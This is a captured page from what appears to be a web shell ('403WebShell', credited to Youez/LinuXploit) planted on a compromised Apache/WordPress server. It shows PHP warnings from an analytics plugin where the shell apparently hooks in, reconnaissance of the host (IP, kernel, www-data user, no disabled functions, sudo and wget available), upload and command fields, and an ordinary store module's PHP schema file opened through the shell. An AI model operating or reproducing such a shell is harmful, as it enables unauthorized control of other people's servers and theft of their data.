Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/kjvdictionary_store/modules/storeDistribution/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kjvdictionary_store/modules/storeDistribution/index.php
<?php

namespace modules\storeDistribution;

class module_info extends \module {

	// country-specific warehouse/distribtion/cart

	function __info() {  
		return [
			'version' => '2026.4.8',
			'class' => 'modules\\storeDistribution\\main',
			'depends' => ['input', 'output', 'config', 'database', 'store', 'formEdit', 'tabs'],
			'name' => 'Store - Country-specific Products and Distribution',
			'database' => [
				'distribution' => [
					'engine' => 'auto',
					'charset' => 'utf-8',
					'comment' => 'Distribution Center',
					'fields' => [
						[
							'name' => 'dc_id',
							'type' => 'integer',
							'size' => 11,
							'autoinc' => TRUE,
							'null' => FALSE,
						],[
							'name' => 'dc_name',				// name of this warehouse
							'type' => 'string',
							'size' => 80,
							'default' => '',
						],[
							'name' => 'dc_country',
							'type' => 'string',
							'size' => 2,
							'default' => '',
						],[
							'name' => 'dc_postcode',			// the area packages will be shipped from
							'type' => 'string',
							'size' => 20,
							'default' => '',
						],[
							'name' => 'dc_currency',
							'type' => 'string',
							'size' => 10,
							'default' => '',
						],[
							'name' => 'dc_show',
							'type' => 'boolean',
							'default' => '0',
						],[
							'name' => 'dc_email',
							'type' => 'string',
							'size' => 255,
							'default' => '',
						],[
							'name' => 'dc_homepage',			// override store homepage
							'type' => 'string',
							'size' => 255,
							'default' => '',
						],[
							'name' => 'dc_modified',
							'type' => 'int',
							'size' => 11,
							'null' => TRUE,
						]
					],
					'index' => [
						'PRIMARY' => [	'type' => 'primary',
										'fields' => ['dc_id'],
									],
					],
                ],
				
				'distrib_country' => [
					'engine' => 'auto',
					'charset' => 'utf-8',
					'comment' => 'Countries within the distribution area',
					'fields' => [
						[
							'name' => 'distrib',
							'type' => 'integer',
							'size' => 11,
						],[
							'name' => 'country',
							'type' => 'string',
							'size' => 2,
						]
					],
					'index' => [
						'PRIMARY' => [	
							'type' => 'primary',
							'fields' => ['distrib', 'country'],
						],
						'byCountry' => [
							'type' => 'index',
							'fields' => ['country'],
						],
					],
				],

				'distrib_module' => [
					'engine' => 'auto',
					'charset' => 'utf-8',
					'comment' => 'module settings',
					'fields' => [
						[
							'name' => 'dm_distrib',
							'type' => 'integer',
							'size' => 11,
							'null' => FALSE,
						],[
							'name' => 'dm_module',
							'type' => 'string',
							'size' => 40,
							'null' => FALSE,
						],[
							'name' => 'dm_active',
							'type' => 'string',
							'size' => 1,
							'default' => '0',
						],[
							'name' => 'dm_payload',
							'type' => 'text',
							'null' => true,
						]
					],
					'index' => [
						'PRIMARY' => [	
							'type' => 'primary',
							'fields' => ['dm_distrib', 'dm_module'],
						],
					],
				],
				'store_order' => [
					'engine' => 'auto',
					'charset' => 'utf-8',
					'comment' => 'Orders',
					'fields' => [
						[
							'name' => 'so_distribution',				// distribution center
							'type' => 'integer',
							'size' => 11,
							'unsigned' => TRUE,
						]
					],
				],
			],
		];
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit